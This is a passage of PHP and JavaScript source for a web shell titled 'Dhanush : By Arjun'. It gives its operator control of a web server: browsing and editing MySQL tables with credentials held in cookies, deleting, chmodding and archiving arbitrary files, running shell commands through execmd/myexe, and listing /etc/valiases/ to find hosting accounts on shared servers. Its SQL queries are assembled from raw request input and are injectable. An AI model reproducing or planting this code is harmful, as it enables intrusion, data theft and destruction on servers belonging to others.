\"Success\";\r\n\t\t\t\techoQueryResult();\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t\r\n\t\t\techo \"<hr color='#1B1B1B'>\\n\";\r\n\t\t\r\n\t\t\t\$row = mysql_num_rows( \$pResult );\r\n\t\t\t\$col = mysql_num_fields( \$pResult );\r\n\t\t\r\n\t\t\tif( \$row == 0 ) \r\n\t\t\t{\r\n\t\t\t\techo \"<font  size=3>No Data Exist!</font>\";\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t\r\n\t\t\tif( \$rowperpage == \"\" ) \$rowperpage = 30;\r\n\t\t\tif( \$page == \"\" ) \$page = 0;\r\n\t\t\telse \$page--;\r\n\t\t\tmysql_data_seek( \$pResult, \$page * \$rowperpage );\r\n\t\t\r\n\t\t\techo \"<table cellspacing=1 cellpadding=5 border=1 align=center>\\n\";\r\n\t\t\techo \"<tr>\\n\";\r\n\t\t\tfor( \$i = 0; \$i < \$col; \$i++ ) \r\n\t\t\t{\r\n\t\t\t\t\$field = mysql_fetch_field( \$pResult, \$i );\r\n\t\t\t\techo \"<th>\";\r\n\t\t\t\tif(\$action == \"viewdata\")\r\n\t\t\t\t\techo \"<a href='\$PHP_SELF?action=viewdata&dbname=\$dbname&tablename=\$tablename&orderby=\".\$field->name.\"'>\".\$field->name.\"</a>\\n\";\r\n\t\t\t\telse\r\n\t\t\t\t\techo \$field->name.\"\\n\";\r\n\t\t\t\techo \"</th>\\n\";\r\n\t\t\t}\r\n\t\t\techo \"<th colspan=2>Action</th>\\n\";\r\n\t\t\techo \"</tr>\\n\";\r\n\t\t\t\$num=1;\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\$acount = 1;\r\n\t\t\t\t\t\t\r\n\t\t\tfor( \$i = 0; \$i < \$rowperpage; \$i++ ) \r\n\t\t\t{\r\n\t\t\t\t\$rowArray = mysql_fetch_row( \$pResult );\r\n\t\t\t\tif( \$rowArray == false ) break;\r\n\t\t\t\techo \"<tr>\\n\";\r\n\t\t\t\t\$key = \"\";\r\n\t\t\t\tfor( \$j = 0; \$j < \$col; \$j++ )\r\n\t\t\t\t {\r\n\t\t\t\t\t\$data = \$rowArray[\$j];\r\n\t\t\r\n\t\t\t\t\t\$field = mysql_fetch_field( \$pResult, \$j );\r\n\t\t\t\t\tif( \$field->primary_key == 1 )\r\n\t\t\t\t\t\t\$key .= \"&\" . \$field->name . \"=\" . \$data;\r\n\t\t\r\n\t\t\t\t\tif( strlen( \$data ) > 30 )\r\n\t\t\t\t\t\t\$data = substr( \$data, 0, 30 ) . \"...\";\r\n\t\t\t\t\t\$data = htmlspecialchars( \$data );\r\n\t\t\t\t\techo \"<td>\\n\";\r\n\t\t\t\t\techo \"<font class=txt>\$data</font>\\n\";\r\n\t\t\t\t\techo \"</td>\\n\";\r\n\t\t\t\t}\r\n\t\t\t\r\n\t\t\t\tif(!is_numeric(\$arrdata[\$acount]))\r\n\t\t\t\techo \"<td colspan=2>No Key</td>\\n\";\r\n\t\t\t\telse \r\n\t\t\t\t{\r\n\t\t\t\t\techo \"<td><a href=# onClick=\\\"viewtables('editData','\$dbname','\$tablename','\$rowid','\$arrdata[\$acount]')\\\">Edit</a></td>\\n\";\r\n\t\t\t\t\techo \"<td><a href=# onClick=\\\"viewtables('deleteData','\$dbname','\$tablename','\$rowid','\$arrdata[\$acount]')\\\">Delete</a></td>\\n\";\r\n\t\t\t\t\t\$acount++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \"</tr>\\n\";\r\n\t\t\r\n\t\t\r\n\t\t\techo \"</table>\";\r\n\t\t\tif(\$arrcount > 30)\r\n\t\t\t{\r\n\t\t\t\t\$res = mysql_query(\"select * from \$tablename\");\r\n\t\t\t\t\$getres = mysql_num_rows(\$res);\r\n\t\t\t\t\$coun = ceil(\$getres/30);\r\n\t\t\t\techo \"<form action=\$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=\$tablename><input type=hidden value=\$dbname name=dbname><select style='width: 95px;' name=page class=sbox>\";\r\n\t\t\t\tfor(\$i=0;\$i<\$coun;\$i++)\r\n\t\t\t\t\techo \"<option value=\$i>\$i</option>\";\r\n\t\t\t\t\r\n\t\t\t\techo \"</select> <input type=button onClick=\\\"viewtables('viewdata','\$dbname','\$tablename','','','','',page.value)\\\" value=Go class=but></form>\";\r\n\t\t\t\techo \"<br><div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('listTables','\$dbname','\$tablename')\\\"> <font size=3>Table List</font> </a> &nbsp; <a href=\$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>\";\t\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// Delete Table Data\r\n\t\tif(\$_GET['action'] == \"deleteData\")\r\n\t\t{\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\t\$sql = mysql_query(\"SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '\$dbname')  AND (`TABLE_NAME` = '\$tablename')  AND (`COLUMN_KEY` = 'PRI');\");\r\n\t\t\t\$row = mysql_fetch_array(\$sql);\r\n\t\t\t\$row = \$row['COLUMN_NAME'];\r\n\t\t\t\$rowid = \$_GET[\$row];\r\n\t\t\tmysql_query(\"delete from \$tablename where \$row = '\$rowid'\");\r\n\t\t\tlisttable();\r\n\t\t}\r\n\t\t// Edit Table Data\r\n\t\tif(\$_GET['action'] == \"editData\")\r\n\t\t{\r\n\t\t\tglobal \$queryStr, \$action, \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$errMsg, \$page, \$rowperpage, \$orderby, \$data;\r\n\t\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\t\$tablename = \$_GET['tablename'];\r\n\t\t\techo \"<br><div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('listTables','\$dbname','\$tablename')\\\"> <font size=3>Table List</font> </a> &nbsp; <a href=\$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>\";\t\r\n\t\t\t?>\r\n\t\t\t<br><br>\r\n\t\t\t<form action=\"<?php echo \$self; ?>\" method=\"post\">\r\n\t\t\t<?php \r\n\t\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\tmysql_select_db(\$dbname);\r\n\t\t\t\r\n\t\t\t\$sql = mysql_query(\"SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '\$dbname')  AND (`TABLE_NAME` = '\$tablename')  AND (`COLUMN_KEY` = 'PRI');\");\r\n\t\t\t\$row = mysql_fetch_array(\$sql);\r\n\t\t\t\$row = \$row['COLUMN_NAME'];\r\n\t\t\t\$rowid = \$_GET[\$row];\r\n\t\t\t\t\t\t\r\n\t\t\t\$pResult = mysql_list_fields( \$dbname, \$tablename );\r\n\t\t\t\$num = mysql_num_fields( \$pResult );\r\n\t\r\n\t\t\t\$key = \"\";\r\n\t\t\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t\t\t{\r\n\t\t\t\t\$field = mysql_fetch_field( \$pResult, \$i );\r\n\t\t\t\tif( \$field->primary_key == 1 )\r\n\t\t\t\t\tif( \$field->numeric == 1 )\r\n\t\t\t\t\t\t\$key .= \$field->name . \"=\" . \$GLOBALS[\$field->name] . \" AND \";\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t\$key .= \$field->name . \"='\" . \$GLOBALS[\$field->name] . \"' AND \";\r\n\t\t\t}\r\n\t\t\t\$key = substr( \$key, 0, strlen(\$key)-4 );\r\n\t\r\n\t\t\tmysql_select_db( \$dbname, \$mysqlHandle );\r\n\t\t\t\$pResult = mysql_query( \$queryStr =  \"SELECT * FROM \$tablename WHERE \$row = \$rowid\", \$mysqlHandle );\r\n\t\t\t\$data = mysql_fetch_array( \$pResult );\r\n\t\t\r\n\t\t\techo \"<table cellspacing=1 cellpadding=2 border=1>\\n\";\r\n\t\t\techo \"<tr>\\n\";\r\n\t\t\techo \"<th>Name</th>\\n\";\r\n\t\t\techo \"<th>Type</th>\\n\";\r\n\t\t\techo \"<th>Function</th>\\n\";\r\n\t\t\techo \"<th>Data</th>\\n\";\r\n\t\t\techo \"</tr>\\n\";\r\n\t\t\r\n\t\t\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\r\n\t\t\t\$num = mysql_num_rows( \$pResult );\r\n\t\t\r\n\t\t\t\$pResultLen = mysql_list_fields( \$dbname, \$tablename );\r\n\t\t\t\$fundata1 = \"'action','editsubmitData','dbname','\".\$dbname.\"','tablename','\".\$tablename.\"',\";\r\n\t\t\t\$fundata2 = \"'action','insertdata','dbname','\".\$dbname.\"','tablename','\".\$tablename.\"',\";\r\n\t\t\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t\t\t{\r\n\t\t\t\t\$field = mysql_fetch_array( \$pResult );\r\n\t\t\t\t\$fieldname = \$field[\"Field\"];\r\n\t\t\t\t\$fieldtype = \$field[\"Type\"];\r\n\t\t\t\t\$len = mysql_field_len( \$pResultLen, \$i );\r\n\t\t\r\n\t\t\t\techo \"<tr>\";\r\n\t\t\t\techo \"<td>\$fieldname</td>\";\r\n\t\t\t\techo \"<td>\".\$field[\"Type\"].\"</td>\";\r\n\t\t\t\techo \"<td>\\n\";\r\n\t\t\t\techo \"<select name=\${fieldname}_function class=sbox>\\n\";\r\n\t\t\t\techo \"<option>\\n\";\r\n\t\t\t\techo \"<option>ASCII\\n\";\r\n\t\t\t\techo \"<option>CHAR\\n\";\r\n\t\t\t\techo \"<option>SOUNDEX\\n\";\r\n\t\t\t\techo \"<option>CURDATE\\n\";\r\n\t\t\t\techo \"<option>CURTIME\\n\";\r\n\t\t\t\techo \"<option>FROM_DAYS\\n\";\r\n\t\t\t\techo \"<option>FROM_UNIXTIME\\n\";\r\n\t\t\t\techo \"<option>NOW\\n\";\r\n\t\t\t\techo \"<option>PASSWORD\\n\";\r\n\t\t\t\techo \"<option>PERIOD_ADD\\n\";\r\n\t\t\t\techo \"<option>PERIOD_DIFF\\n\";\r\n\t\t\t\techo \"<option>TO_DAYS\\n\";\r\n\t\t\t\techo \"<option>USER\\n\";\r\n\t\t\t\techo \"<option>WEEKDAY\\n\";\r\n\t\t\t\techo \"<option>RAND\\n\";\r\n\t\t\t\techo \"</select>\\n\";\r\n\t\t\t\techo \"</td>\\n\";\r\n\t\t\t\t\$value = htmlspecialchars(\$data[\$i]);\r\n\t\t\t\t\$type = strtok( \$fieldtype, \" (,)\\n\" );\r\n\t\t\t\tif( \$type == \"enum\" || \$type == \"set\" ) \r\n\t\t\t\t{\r\n\t\t\t\t\techo \"<td>\\n\";\r\n\t\t\t\t\tif( \$type == \"enum\" )\r\n\t\t\t\t\t\techo \"<select name=\$fieldname class=box>\\n\";\r\n\t\t\t\t\telse if( \$type == \"set\" )\r\n\t\t\t\t\t\techo \"<select name=\$fieldname size=4 class=box multiple>\\n\";\r\n\t\t\t\t\twhile( \$str = strtok( \"'\" ) ) \r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif( \$value == \$str )\r\n\t\t\t\t\t\t\techo \"<option selected>\$str\\n\";\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\techo \"<option>\$str\\n\";\r\n\t\t\t\t\t\tstrtok( \"'\" );\r\n\t\t\t\t\t}\r\n\t\t\t\t\techo \"</select>\\n\";\r\n\t\t\t\t\techo \"</td>\\n\";\r\n\t\t\t\t\t} \r\n\t\t\t\t\telse \r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif( \$len < 40 )\r\n\t\t\t\t\t\t\techo \"<td><input type=text size=40 maxlength=\$len id=dhanush_\$fieldname name=sql_\$fieldname value=\\\"\$value\\\" class=box></td>\\n\";\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\techo \"<td><textarea cols=47 rows=3 maxlength=\$len name=dhanush_\$fieldname class=box>\$value</textarea>\\n\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\$fundata1 .= \"'dhanush_\".\$fieldname.\"',dhanush_\".\$fieldname.\".value,\";\r\n\t\t\t\t\t\$fundata2 .= \"'dhanush_\".\$fieldname.\"',dhanush_\".\$fieldname.\".value,\";\r\n\t\t\t\techo \"</tr>\";\r\n\t\t\t}\r\n\t\t\t\$fundata1=eregi_replace(',\$', '', \$fundata1); \r\n\t\t\t\$fundata2=eregi_replace(',\$', '', \$fundata2);\r\n\t\t\t\r\n\t\t\techo \"</table><p>\\n\";\r\n\t\t\techo \"<input type=button onClick=\\\"editdata(\$fundata1)\\\" value='Edit Data' class=but>\\n\";\r\n\t\t\techo \"<input type=button value='Insert' onClick=\\\"editdata(\$fundata2)\\\" class=but>\\n\";\r\n\t\t\techo \"</form>\\n\";\r\n\t\t}\r\n\t}\r\n// Edit Submit Table Data\r\nelse if(\$_REQUEST['action'] == \"editsubmitData\")\r\n{\r\n\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\$dbname = \$_POST['dbname'];\r\n\t\$tablename = \$_POST['tablename'];\r\n\t\r\n\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\tmysql_select_db(\$dbname);\r\n\t\r\n\t\$sql = mysql_query(\"SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '\$dbname')  AND (`TABLE_NAME` = '\$tablename')  AND (`COLUMN_KEY` = 'PRI');\");\r\n\t\$row = mysql_fetch_array(\$sql);\r\n\t\$row = \$row['COLUMN_NAME'];\r\n\t\$rowid = \$_POST[\$row];\r\n\t\t\r\n\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\r\n\t\$num = mysql_num_rows( \$pResult );\r\n\t\r\n\t\$rowcount = \$num;\r\n\t\t\t\t\r\n\t\$pResultLen = mysql_list_fields( \$dbname, \$tablename );\r\n\r\n\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t{\r\n\t\t\$field = mysql_fetch_array( \$pResult );\r\n\t\t\$fieldname = \$field[\"Field\"];\r\n\t\t\$arrdata = \$_REQUEST[\$fieldname];\r\n\t\r\n\t\t\$str .= \" \" . \$fieldname . \" = '\" . \$arrdata . \"'\";\r\n\t\t\$rowcount--;\r\n\t\tif(\$rowcount != 0)\r\n\t\t\t\$str .= \",\";\r\n\t}\r\n\t\r\n\t\$str = \"update \$tablename set\" . \$str . \" where \$row=\$rowid\";\r\n\tmysql_query(\$str);\r\n\t?><div id=\"showsql\"></div><?php\r\n}\r\n// Insert Table Data\r\nelse if(\$_REQUEST['action'] == \"insertdata\")\r\n{\r\n\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\$dbname = \$_POST['dbname'];\r\n\t\$tablename = \$_POST['tablename'];\r\n\t\r\n\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\tmysql_select_db(\$dbname);\r\n\t\t\t\r\n\t\$sql = mysql_query(\"SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '\$dbname')  AND (`TABLE_NAME` = '\$tablename')  AND (`COLUMN_KEY` = 'PRI');\");\r\n\t\$row = mysql_fetch_array(\$sql);\r\n\t\$row = \$row['COLUMN_NAME'];\r\n\t\$rowid = \$_POST[\$row];\r\n\t\r\n\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\r\n\t\$num = mysql_num_rows( \$pResult );\r\n\t\r\n\t\$rowcount = \$num;\r\n\t\t\t\t\r\n\t\$pResultLen = mysql_list_fields( \$dbname, \$tablename );\r\n\r\n\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t{\r\n\t\t\$field = mysql_fetch_array( \$pResult );\r\n\t\t\$fieldname = \$field[\"Field\"];\r\n\t\t\$arrdata = \$_REQUEST[\$fieldname];\r\n\t\r\n\t\t\$str1 .= \"\".\$fieldname . \",\";\r\n\t\t\$str2 .= \"'\".\$arrdata . \"',\";\r\n\t\t\$rowcount--;\r\n\t\tif(\$rowcount != 0)\r\n\t\t{\r\n\t\t\t//\$str1 .= \$fieldname . \",\";\r\n\t\t\t//\$str2 .= \$arrdata . \",\";\r\n\t\t}\r\n\t}\r\n\t\$str1=eregi_replace(',\$', '', \$str1); \r\n\t\$str2=eregi_replace(',\$', '', \$str2); \r\n\t\$str = \"INSERT INTO `\$tablename` (\$str1) VALUES (\$str2);\";\r\n\tmysql_query(\$str);\r\n\t\r\n\t?><div id=\"showsql\"></div><?php\r\n}\r\nelse if(isset(\$_GET['logoutdb']))\r\n{\r\n\tsetcookie(\"dbserver\",time() - 60*60);\r\n\tsetcookie(\"dbuser\",time() - 60*60);\r\n\tsetcookie(\"dbpass\",time() - 60*60);\r\n\theader(\"Location:\$self\");\r\n}\r\nelse if(isset(\$_POST['choice']))\r\n{  \r\n\tif(\$_POST['choice'] == \"delete\") \r\n\t{\r\n\t\t\$actbox = \$_POST[\"actbox\"];\r\n\t\t\t\t\r\n\t\tforeach (\$actbox as \$myv) \r\n\t\t\$myv = explode(\",\",\$myv);\r\n\t\tforeach (\$myv as \$v) \r\n\t\t{\t\t\t\r\n\t\t\tif(is_file(\$v))\r\n\t\t\t{\r\n\t\t\t\tif(unlink(\$v))\r\n\t\t\t\t\techo \"<br><center><font class=txt>File \$v Deleted Successfully</font></center>\";\r\n\t\t\t\telse\r\n\t\t\t\t\techo \"<br><center>Cannot Delete File \$v</center>\";\r\n\t\t\t}\t\r\n\t\t\telse if(is_dir(\$v))\r\n\t\t\t{\r\n\t\t\t\trrmdir(\$v);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\telse if(\$_POST['choice'] == \"chmod\")\r\n\t{ ?>\r\n\t\t<form id=\"chform\"><?php \r\n\t\t\$actbox1 = \$_POST['actbox'];\r\n\t\tforeach (\$actbox1 as \$myv) \r\n\t\t\$myv = explode(\",\",\$myv);\r\n\t\tforeach (\$myv as \$v) \r\n\t\t{ ?>\r\n\t\t\t<input type=\"hidden\" name=\"actbox3[]\" id=\"actbox3[]\" value=\"<?php echo \$v; ?>\">\r\n\t\t<?php }\r\n\t\t?>\r\n\t\t\t<table align=\"center\" border=\"3\" style=\"width:40%; border-color:#333333;\">\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td style=\"height:40px\" align=\"right\">Change Permissions </td><td align=\"center\"><input value=\"0755\" name=\"chmode\" class=\"sbox\" /></td> \r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=\"2\" align=\"center\" style=\"height:60px\">\r\n\t\t\t<input type=\"button\" onClick=\"myaction('changefileperms',chmode.value)\" value=\"Change Permission\" class=\"but\" style=\"padding: 5px;\" /></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t\r\n\t\t</form>  <?php\r\n\t}\r\n\telse if(\$_POST['choice'] == \"changefileperms\")\r\n\t{\r\n\t\tif(\$_POST['chmode'] != null && is_numeric(\$_POST['chmode']))\r\n\t\t{\r\n\t\t\t\$actbox = \$_POST[\"actbox\"];\r\n\t\t\tforeach (\$actbox as \$myv) \r\n\t\t\t\$myv = explode(\",\",\$myv);\r\n\t\t\tforeach (\$myv as \$v) \r\n\t\t\t{\r\n\t\t\t\tif(is_file(\$v) || is_dir(\$v))\r\n\t\t\t\t{\r\n\t\t\t\t\t\$perms = 0; \r\n\t\t\t\t\tfor(\$i=strlen(\$_POST['chmode'])-1;\$i>=0;--\$i) \r\n\t\t\t\t\t\t\$perms += (int)\$_POST['chmode'][\$i]*pow(8, (strlen(\$_POST['chmode'])-\$i-1)); \r\n\t\t\t\t\techo \"<div align=left style=width:60%;>\";\r\n\t\t\t\t\tif(@chmod(\$v,\$perms))\r\n\t\t\t\t\t\techo \"<font class=txt>File \$v Permissions Changed Successfully</font><br>\";\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \"Cannot Change \$v File Permissions<br>\";\r\n\t\t\t\t\techo \"</div>\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t}\r\n\t}\r\n\telse if(\$_POST['choice'] == \"compre\") \r\n\t{\r\n\t\t\$actbox = \$_POST[\"actbox\"];\r\n\t\tforeach (\$actbox as \$myv) \r\n\t\t\t\$myv = explode(\",\",\$myv);\r\n\t\tforeach (\$myv as \$v) \r\n\t\t{\r\n\t\t\tif(is_file(\$v))\r\n\t\t\t{\r\n\t\t\t\t\$zip = new ZipArchive();\r\n\t\t\t\t\$filename= basename(\$v) . '.zip';\r\n\t\t\t\tif((\$zip->open(\$filename, ZipArchive::CREATE))!==true)\r\n\t\t\t\t{ echo '<br><font  size=3>Error: Unable to create zip file for \$v</font>';}\r\n\t\t\t\telse {echo \"<br><font class=txt size=3>File \$v Compressed successfully</font>\";}\r\n\t\t\t\t\$zip->addFile(basename(\$v));\r\n\t\t\t\t\$zip->close();\r\n\t\t\t}\r\n\t\t\telse if(is_dir(\$v))\r\n\t\t\t{\r\n\t\t\t\tif(\$os == \"Linux\")\r\n\t\t\t\t{\r\n\t\t\t\t\t\$filename= basename(\$v);\r\n\t\t\t\t\texecmd(\"tar --create --recursion --file=\$filename.tar \$v\");\r\n\t\t\t\t\techo \"<br><font class=txt size=3>File \$v Compressed successfully as \$v.tar</font>\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\telse if(\$_POST['choice'] == \"uncompre\") \r\n\t{\r\n\t\t\$actbox = \$_POST[\"actbox\"];\r\n\t\tforeach (\$actbox as \$myv) \r\n\t\t\$myv = explode(\",\",\$myv);\r\n\t\tforeach (\$myv as \$v) \r\n\t\t{\r\n\t\t\t if(is_file(\$v) || is_dir(\$v))\r\n\t\t\t {\r\n\t\t\t \$zip = new ZipArchive;\r\n\t\t\t \$filename= basename(\$v);\r\n\t\t\t \$res = \$zip->open(\$filename);\r\n\t\t\t if (\$res === TRUE) \r\n\t\t\t {\r\n\t\t\t \t \$pieces = explode(\".\",\$filename);\r\n\t\t\t\t \$zip->extractTo(\$pieces[0]);\r\n\t\t\t\t \$zip->close();\r\n\t\t\t\t echo \"<br><font class=txt size=3>File \$v Unzipped successfully</font>\";\r\n\t\t\t } else\r\n\t\t\t\t echo \"<br><font  size=3>Error: Unable to Unzip file \$v</font>\";\r\n\t\t\t }\r\n\t\t}\r\n\t}\r\n}\r\nelse if(isset(\$_GET['sitename']))\r\n{\r\n\t\$sitename = str_replace(\"http://\",\"\",\$_GET['sitename']);\r\n\t\$sitename = str_replace(\"http://www.\",\"\",\$sitename);\r\n\t\$sitename = str_replace(\"www.\",\"\",\$sitename);\r\n\t\$show = myexe(\"ls -la /etc/valiases/\".\$sitename);\r\n\tif(!empty(\$show))\r\n\t\techo \$show;\r\n\telse\r\n\t\techo \"Cannot get the username\";\r\n}\r\nelse if(isset(\$_GET['mydata']))\r\n{\r\n\tlistdatabase();\r\n}\r\nelse if(isset(\$_GET['home']))\r\n{\r\n\tmainfun(\$_GET['home']);\r\n}\r\nelse if(isset(\$_GET['dir']))\r\n{\r\n\tmainfun(\$_GET['myfilepath']);\r\n}\r\nelse if(isset(\$_GET['mydirpath']))\r\n{\r\n\techo is_writable(\$_GET['mydirpath'])?\"<font class=txt>&lt; writable &gt;</font>\":\"&lt; not writable &gt;\";\r\n}\r\nelse\r\n{\r\n?>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/> \r\n<title>Dhanush : By Arjun</title>\r\n<script type=\"text/javascript\">\r\nchecked = false;\r\nvar waitstate = \"<center><marquee scrollamount=4 width=150>Wait....</marquee></center>\";\r\nfunction checkedAll () \r\n{\r\n    if (checked == false){checked = true}else{checked = false}\r\n\tfor (var i = 0; i < document.getElementById('myform').elements.length; i++) \r\n\t{\r\n\t  document.getElementById('myform').elements[i].checked = checked;\r\n\t}\r\n}\r\nfunction urlchange(myfilepath)\r\n{\r\n\tvar mypath, mpath, i, t, j, r = \"\",myurl = \"\",splitter=\"\";\r\n\tsplitter = \"<?php echo addslashes(\$directorysperator); ?>\";\r\n\tmypath = mpath = myfilepath.split(splitter);\r\n\t<?php if(\$os == \"Linux\") { ?>\r\n\t\t\tr = \"/\";\r\n\t\t\tmyurl = \"<a href=javascript:void(0) onClick=\\\"changedir('dir','/')\\\">/</a>\";\r\n\t<?php } ?>\r\n\tfor (i = 0; i < mypath.length; i++) \r\n\t{\r\n\t\tif(mypath[i] == \"\")\r\n\t\t\tcontinue;\r\n   \t\tr += mypath[i]+\"<?php echo addslashes(\$directorysperator); ?>\";\r\n\t\t\r\n\t\tmyurl += \"<a href=javascript:void(0) onClick=\\\"changedir('dir','\"+r+\"\\')\\\"><b>\"+mypath[i]+\"<?php echo addslashes(\$directorysperator); ?></b></a>\";\r\n\t}\r\n\tmyurl = myurl.replace(/\\\\/g,\"\\\\\\\\\");\r\n\treturn myurl;\r\n}\r\nfunction wrtblDIR(mydirpath)\r\n{\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tfor(i=0;i<=3;i++)\r\n\t\t\t\tdocument.getElementsByName(\"wrtble\")[i].innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?&mydirpath=\"+mydirpath, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction setpath(myfilpath)\r\n{\r\n\twrtblDIR(myfilpath);\r\n\tdocument.getElementById(\"path\").value=myfilpath;\r\n\tdocument.getElementById(\"createfile\").value=myfilpath;\r\n\tdocument.getElementById(\"createfolder\").value=myfilpath;\r\n\tdocument.getElementById(\"createfolder\").value=myfilpath;\r\n\tdocument.getElementById(\"exepath\").value=myfilpath;\r\n\tdocument.getElementById(\"auexepath\").value=myfilpath;\r\n\tdocument.getElementById(\"showdir\").innerHTML=\"\";\r\n}\r\nfunction changedir(myaction,myfilepath)\r\n{\r\n\tvar myurl = urlchange(myfilepath);\r\n\t\r\n\tdocument.getElementById(\"showmaindata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tsetpath(myfilepath);\r\n\t\t\tdocument.getElementById(\"crdir\").innerHTML=myurl;\r\n\t\t\tdocument.getElementById(\"showmaindata\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+myaction+\"&myfilepath=\"+myfilepath, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction gethome(myaction,mydir)\r\n{\r\n\tvar myurl = urlchange(mydir);\r\n\tdocument.getElementById(\"showmaindata\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\tdocument.getElementById(\"showmaindata\").innerHTML=ajaxRequest.responseText;\r\n\t\t\tsetpath(mydir);\r\n\t\t\tdocument.getElementById(\"crdir\").innerHTML=myurl;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?\"+myaction+\"=\"+mydir, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction getname(sitename)\r\n{\r\n\tdocument.getElementById(\"showsite\").innerHTML=waitstate;\r\n\tvar ajaxRequest;\r\n\tajaxRequest = new XMLHttpRequest();\r\n\t\r\n\tajaxRequest.onreadystatechange = function()\r\n\t{\r\n\t\tif(ajaxRequest.readyState == 4)\r\n\t\t{\r\n\t\t\t\tdocument.getElementById(\"showsite\").innerHTML=ajaxRequest.responseText;\r\n\t\t}\r\n\t}\r\n\t\t\r\n\tajaxRequest.open(\"GET\", \"<?php echo \$_SERVER[\"PHP_SELF\"]; ?>?sitename=\"+sitename, true);\r\n\tajaxRequest.send(null); \r\n}\r\nfunction myaction(myfileaction,chmode)\r\n{\r\n\tvar mytype = document.getElementsByName('actbox[]');\r\n\tvar mychoice = new 